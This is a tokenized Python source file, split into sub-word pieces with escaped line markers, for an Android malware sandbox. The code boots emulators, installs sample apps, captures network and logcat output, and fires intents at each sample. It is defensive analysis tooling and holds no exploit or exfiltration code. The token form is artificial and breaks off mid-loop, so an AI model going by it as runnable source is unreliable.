"a", " ", "android", ".", "intent", ".", "action", ".", "BOOT", "\\u", "COMPLETED", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "start", " ", "(", "with", " ", "specified", " ", "port", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "emulator", " ", "-", "port", "s", " ", "X", ",", "Y", " ", "@", "av", "d\\u", "X_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "wait", " ", "for", " ", "emulator", " ", "to", " ", "be", " ", "full", "y", " ", "started_", "\\u\\u\\uNL\\u\\u\\u_", "#.", "/", "adb", " ", "-", "s", " ", "emulator", "-", "558", "4", " ", "wait", "-", "for", "-", "device_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "UW", "AI", "T_", "=_", "\"%", "s", "/", "adb", " ", "-", "s", " ", "%", "s", " ", "wait", "-", "for", "-", "device", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "UL", "OG", "CAT", "_", "=_", "\"%", "s", "/", "adb", " ", "-", "s", " ", "%", "s", " ", "logc", "at", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "command_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adb", " ", "-", "s", " ", "emu", "alt", "or", "-", "X", " ", "shell", " ", "cmd_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "UI", "NS", "TAL", "L_", "=_", "\"%", "s", "/", "adb", " ", "-", "s", " ", "%", "s", " ", "install", " ", "%", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "<", "INTEN", "T", ">", " ", "specifica", "tion", "s", " ", "include", " ", "these", " ", "flags", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "[-", "a", " ", "<", "ACTI", "ON", ">]", " ", "[-", "d", " ", "<", "DATA", "\\u", "URI", ">]", " ", "[-", "t", " ", "<", "MIME", "\\u", "TYPE", ">]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "[-", "c", " ", "<", "CATEGORY", ">", " ", "[-", "c", " ", "<", "CATEGORY", ">]", " ", "...]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "[-", "e", "|--", "es", " ", "<", "EXTRA", "\\u", "KEY", ">", " ", "<", "EXTRA", "\\u", "STRING", "\\u", "VALU", "E", ">", " ", "...]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "[-", "-", "esn", " ", "<", "EXTRA", "\\u", "KEY", ">", " ", "...]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "[-", "-", "ez", " ", "<", "EXTRA", "\\u", "KEY", ">", " ", "<", "EXTRA", "\\u", "BOOLEAN", "\\u", "VALU", "E", ">", " ", "...]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "[-", "e", "|--", "ei", " ", "<", "EXTRA", "\\u", "KEY", ">", " ", "<", "EXTRA", "\\u", "INT", "\\u", "VALU", "E", ">", " ", "...]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adb", " ", "shell", " ", "am", " ", "broadcast", " ", "-", "a", " ", "android", ".", "intent", ".", "action", ".", "BOOT", "\\u", "COMPLETED", " ", "-", "c", " ", "android", ".", "intent", ".", "category", ".", "HOM", "E", " ", "-", "n", " ", "net", ".", "fsta", "b", ".", "check", "it", "\\u", "android", "/.", "Start", "up", "Receiver_", "\\u\\u\\uNL\\u\\u\\u_", "#", "am", " ", "broadcast", " ", "-", "a", " ", "android", ".", "intent", ".", "action", ".", "BOOT", "\\u", "COMPLETED", "_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "UINT", "ENT_", "=_", "\"%", "s", "/", "adb", " ", "-", "s", " ", "%", "s", " ", "shell", " ", "am", " ", "broadcast", " ", "-", "a", " ", "%", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adb", " ", "shell", " ", "am", " ", "start", " ", "-", "n", " ", "com", ".", "package", ".", "name", "/", "com", ".", "package", ".", "name", ".", "Activ", "it", "y", "Name_", "\\u\\u\\uNL\\u\\u\\u_", "#", "am", " ", "start", " ", "-", "a", " ", "android", ".", "intent", ".", "action", ".", "MAIN", " ", "-", "n", " ", "com", ".", "ift", "ita", "h", ".", "android", ".", "contact", "/", "com", ".", "ift", "ita", "h", ".", "android", ".", "contact", ".", "Contact_", "\\u\\u\\uNL\\u\\u\\u_", "#", "am", " ", "start", " ", "-", "a", " ", "<", "ACTI", "ON", ">", " ", "-", "n", " ", "<", "PACKAG", "E", ">/", "<", "PACKAG", "E", "><", "ACTIVITY", "CLASS", ">_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "ULA", "UNC", "H_", "=_", "\"%", "s", "/", "adb", " ", "-", "s", " ", "%", "s", " ", "shell", " ", "am", " ", "start", " ", "-", "a", " ", "%", "s", " ", "-", "n", " ", "%", "s", "/", "%", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "kill_", "\\u\\u\\uNL\\u\\u\\u_", "#", "coul", "d", " ", "do", " ", "adb", " ", "shell", " ", "stop_", "\\u\\u\\uNL\\u\\u\\u_", "#", "but", " ", "wh", "y", " ", "reall", "y", "?", " ", " ", "just", " ", "goi", "ng", " ", "to", " ", "reset", " ", "for", " ", "next", " ", "run", " ", "anyway", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "tho", "ugh", " ", "a", " ", "stop", " ", "wou", "ld", " ", "preserve", " ", "state", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adb", " ", "-", "s", " ", "emulator", "-", "X", " ", "emu", " ", "kill_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "UK", "ILL", "_", "=_", "\"%", "s", "/", "adb", " ", "-", "s", " ", "%", "s", " ", "emu", " ", "kill", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "monkey_", "\\u\\u\\uNL\\u\\u\\u_", "#$", " ", "adb", " ", "shell", " ", "monkey", " ", "-", "v", " ", "-", "p", " ", "your", ".", "package", ".", "name", " ", "100", " ", "--", "ignore", "-", "security", "-", "exception", "s", " ", "-", "s", " ", "SEED", "_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "UM", "ON", "KEY_", "=_", "\"%", "s", "/", "adb", " ", "-", "s", " ", "%", "s", " ", "shell", " ", "monkey", " ", "-", "v", " ", "-", "p", " ", "%", "s", " ", "100", " ", "--", "ignore", "-", "security", "-", "exception", "s", " ", "-", "s", " ", "%", "s", " ", "--", "throttle", " ", "250", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "update", " ", "databa", "se", " ", "with", " ", "start", " ", "values_", "\\u\\u\\uNL\\u\\u\\u_", "permissi", "ons", "\\u", "filename_", "=_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\".", "xml", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image", "\\u", "used_", "=_", "VM", "s_", "[_", "m_", "]_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "time_", "=_", "time_", "._", "strftime_", "(_", "\"%", "Y", "-%", "m", "-%", "d", "-%", "H", ":", "%", "M", ":", "%", "S", "\"_", ",_", "time_", "._", "gmtime_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msd", "b_", "._", "update", "Start", "Run_", "(_", "job_", "[_", "'", "job", "uuid", "'_", "]_", ",_", "image", "\\u", "used_", ",_", "start", "\\u", "time_", ",_", "permissi", "ons", "\\u", "filename_", ",_", "MS", "VERSION_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"...", "startin", "g", " ", "VM", " ", "\"_", "+_", "VM", "s_", "[_", "m_", "]_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "start", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "EM", "UST", "ART", "_", "%_", "(_", "SD", "KP", "ATH", "_", ",_", "VM", "s_", "[_", "m_", "]_", "._", "name_", ",_", "PS", "IZE_", ",_", "str_", "(_", "adb", "port_", ")_", ",_", "MAL", "WARE", "JOB", "SB", "AS", "E_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "job", "uuid", "'_", "]_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\"-", "orig", ".", "pcap", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "Em", "u_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "args_", "=_", "shlex_", "._", "split_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "Em", "u_", "=_", "subprocess_", "._", "Popen_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "start", " ", "error", "\"_", ",_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "check", " ", "for", " ", "start", " ", "error", " ", "condition", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "emulator", ":", " ", "WARN", "ING", ":", " ", "ign", "orin", "g", " ", "lock", "ed", " ", "SD", " ", "Card", " ", "image", " ", "at", " ", "/", "path", "/", "to", "/", "av", "d", "/", "ms", "-", "sd", "k", "003", "-0", "03", "/", "sdc", "ard", ".", "img_", "\\u\\u\\uNL\\u\\u\\u_", "#", "it", " ", "see", "ms", " ", "too", " ", "many", " ", "emulator", " ", "instance", "s", " ", "are", " ", "runn", "ing", " ", "on", " ", "this", " ", "machine", ".", " ", "Abo", "rti", "ng_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "wait", " ", "for", " ", "it", " ", "to", " ", "start_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "=_", "EM", "UW", "AI", "T_", "%_", "(_", "AD", "BP", "ATH", "_", ",_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "wait", " ", "return", "ed", ":", " ", "%", "d", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "wait", " ", "error", ":", " ", "%", "s", "\"_", "%_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", "+_", "\"", " ", "start", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "VM", "\\u", "POLL", "\\u", "REST", "_", "*_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "vm", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "VM", "local_", "=_", "VM", "s_", "[_", "m_", "]_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VM", "local_", "._", "state_", "=_", "\"", "Run", "ning", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VM", "s_", "[_", "m_", "]_", "=_", "VM", "local_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "start", " ", "logc", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "start", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "=_", "EM", "UL", "OG", "CAT", "_", "%_", "(_", "SD", "KP", "ATH", "_", ",_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "Log", "Cat_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Log", "Cat_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "args_", "=_", "shlex_", "._", "split_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Log", "Cat_", "=_", "open_", "(_", "MAL", "WARE", "JOB", "SB", "AS", "E_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "job", "uuid", "'_", "]_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\".", "logc", "at", "\"_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Null_", "=_", "open_", "(_", "\"/", "dev", "/", "null", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", "\t\t\t", "p", "Log", "Cat", " ", "=", " ", "subproc", "ess", ".", "Pop", "en", "(", "args", ",", " ", "std", "in", "=", "f", "Null", ",", " ", "std", "err", "=", "f", "Null", ",", " ", "stdout", "=", "f", "Log", "Cat", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":", " ", "\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "format", "Except", "ion", "Info_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "logc", "at", " ", "error", "\"_", ",_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "install", " ", "mali", "cio", "us", " ", "app_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "=_", "EM", "UI", "NS", "TAL", "L_", "%_", "(_", "AD", "BP", "ATH", "_", ",_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", ",_", "\"'\"_", "+_", "job_", "[_", "'", "full", "path", "'_", "]_", "+_", "\"'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "output_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "install", " ", "return", "ed", ":", " ", "%", "s", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "\\u", "attempts_", "=_", "AD", "BT", "RIE", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "\"", "Success", "\"_", "not_", "in_", "ret_", "and_", "install", "\\u", "attempts_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "kick", "\\u", "adb", "\\u", "may", "be_", "(_", "adb", "l_", ",_", "fcn", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "install", " ", "fail", "ed", " ", "emulator", " ", "install", " ", "return", "ed", ":", " ", "%", "s", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "VM", "\\u", "POLL", "\\u", "REST", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "TOD", "O", " ", "FIX", "ME", ",", " ", "track", " ", "down", " ", "wh", "y", " ", "this", " ", "somet", "imes", " ", "stall", "s", " ", "forever", ",", " ", "see", "m", " ", "on", " ", "SD", "Ks", " ", "11", " ", "and", " ", "14.", "..", "_", "\\u\\u\\uNL\\u\\u\\u_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "output_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "\\u", "attempts_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "install", "\\u", "attempts_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "syslog_", "._", "syslog_", "(_", "VM", "s_", "[_", "m_", "]_", "._", "name_", "+_", "\":\"_", "+_", "\"", "install", " ", "fail", "ed", " ", "emulator", " ", "install", " ", "return", "ed", ":", " ", "%", "s", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "VM", "s_", "[_", "m_", "]_", "._", "name_", "+_", "\":\"_", "+_", "\"", "install", " ", "fail", "ed", " ", "emulator", " ", "install", " ", "return", "ed", ":", " ", "%", "s", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "install", " ", "fat", "al", " ", "error", ":", " ", "%", "s", "\"_", "%_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "format", "Except", "ion", "Info_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "possib", "le", " ", "error", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Error", ":", " ", "Cou", "ld", " ", "not", " ", "access", " ", "the", " ", "Packa", "ge", " ", "Manager", ".", " ", " ", "Is", " ", "the", " ", "system", " ", "runn", "ing", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "VM", "\\u", "POLL", "\\u", "REST", "_", "*_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "stimul", "ate_", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "etree_", "._", "parse_", "(_", "MAL", "WARE", "JOB", "SB", "AS", "E_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "job", "uuid", "'_", "]_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\".", "xml", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "package_", "=_", "doc_", "._", "find_", "(_", "'", "package", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "li_", "=_", "lib", "Inten", "t_", "._", "lib", "Inten", "t_", "(_", "\"", "local", "host", "\"_", ",_", "adb", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "each", " ", "rint_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "rint_", "in_", "doc_", "._", "findall_", "(_", "'", "rint", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\"", " ", "handling", " ", "\"_", "+_", "str_", "(_", "rint_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "li_", "._", "handle", "RI", "ntent", "_", "(_", "str_", "(_", "rint_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "each", " ", "permissi", "on", " ", "(", "action", "s", " ", "and", " ", "rint", "s", " ", "\\u", "shou", "ld", "\\u", " ", "catch", " ", "all", " ", "these", "....", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "perm_", "in_", "doc_", "._", "findall_", "(_", "'", "permissi", "on", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\"", " ", "handling", " ", "\"_", "+_", "str_", "(_", "perm_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "li_", "._", "handle", "Permission_", "(_", "str_", "(_", "perm_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "each", " ", "action_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "action_", "in_", "doc_", "._", "findall_", "(_", "'", "action", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\"", " ", "handling", " ", "\"_", "+_", "str_", "(_", "action_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "li_", "._", "handle", "Action_", "(_", "str_", "(_", "action_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "BROADCAST", "S", " ", "are", " ", "don", "e", " ", "this", " ", "way_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cmd", " ", "=", " ", "EM", "UINT", "ENT", " ", "%", " ", "(", " ", "AD", "BP", "ATH", ",", " ", "\"", "emulator", "-\"", " ", "+", " ", "str", "(", "adb", "port", "),", " ", "\"", "android", ".", "intent", ".", "action", ".", "BOOT", "\\u", "COMPLETED", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "EM", "UINT", "ENT_", "%_", "(_", "AD", "BP", "ATH", "_", ",_", "\"", "emulator", "-\"_", "+_", "str_", "(_", "adb", "port_", ")_", ",_", "str_", "(_", "action_", "._", "text_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", " ", "check", " ", "for", " ", "\"", "Broad", "cast", " ", "complete", "d", "\"", " ", "in", " ", "output", ",", " ", "repeat", " ", "if", " ", "necessar", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "ret_", "=_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "cmd_", "]_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "syslog_", "._", "syslog_", "(_", "\"", "app", " ", "%", "s", " ", "error", " ", "sendin", "g", " ", "intent", " ", "%", "s", "\"_", "%_", "(_", "job_", "[_", "'", "sha2", "56", "'_", "]_", ",_", "str_", "(_", "action_", "._", "text_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "intent", " ", "error", ":", " ", "%", "s", "\"_", "%_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "error_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "emulator", " ", "intent", " ", "error", ":", " ", "%", "d", "\"_", "%_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", " ", "exit", " ", "is", " ", "a", " ", "litt", "le", " ", "too", " ", "har", "sh", " ", "here", ",", " ", "but", " ", "shou", "ld", " ", "probab", "ly", " ", "reque", "ue", " ", "some", "how_", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "exit", "(", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "exit", "(", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "somet", "hing", "s", " ", "just", " ", "don", "'", "t", " ", "have", " ", "nice", " ", "rint", " ", "or", " ", "actions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "li_", "._", "send", "Call_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "VM", "\\u", "POLL", "\\u", "REST", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "li_", "._", "end", "All", "Calls", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "open", " ", "app_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", "this", " ", "shou", "ld", " ", "not", " ", "be", " ", "a", " ", "for", "/", "for", " ", "loop", ",", " ", "the", " ", "action", "s", " ", "shou", "dl", " ", "be", " ", "paired", " ", "with", " ", "activities_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "activity_", "in_", "doc_", "._", "findall_", "(_", "'", "activit", "y", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "action_", "in_", "doc_", "._", "findall_", "(_", "'", "action", "'_", ")_", ":_", 